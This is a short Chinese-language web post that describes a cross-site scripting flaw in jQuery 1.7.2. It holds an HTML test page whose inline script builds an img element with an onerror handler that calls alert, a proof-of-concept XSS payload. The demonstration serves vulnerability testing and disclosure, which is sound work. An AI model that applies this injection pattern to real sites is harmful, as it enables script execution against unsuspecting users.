溫馨提示×

溫馨提示×

您好，登錄后才能下訂單哦！

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

JQuery-1.7.2.min.js跨站腳本漏洞

發(fā)布時間：2020-07-20 10:31:52 來源：網(wǎng)絡(luò) 閱讀：9610 作者：zhpfxl 欄目：web開發(fā)


測試頁面：

<!DOCTYPE html>

<html>

<head>

<script src="http://x.x.x.x:80/js/jquery-1.7.2.min.js"></script>

  <meta charset="utf-8">

  <title>JS Bin</title>

</head>

<body>

   JQuery Test:

   http://x.x.x.x:80/js/jquery-1.7.2.min.js

   <script>

var img = $("<img onerror='alert(/xss/);'>");

img.attr('src','xx');

   </script>

</body>

</html>


參考鏈接：

http://jsbin.com/xiyuwuvubu/edit?html,js,output

https://segmentfault.com/a/1190000002463775


向AI問一下細節(jié)

免責(zé)聲明：本站發(fā)布的內(nèi)容（圖片、視頻和文字）以原創(chuàng)、轉(zhuǎn)載和分享為主，文章觀點不代表本網(wǎng)站立場，如果涉及侵權(quán)請聯(lián)系站長郵箱：is@yisu.com進行舉報，并提供相關(guān)證據(jù)，一經(jīng)查實，將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI
助
手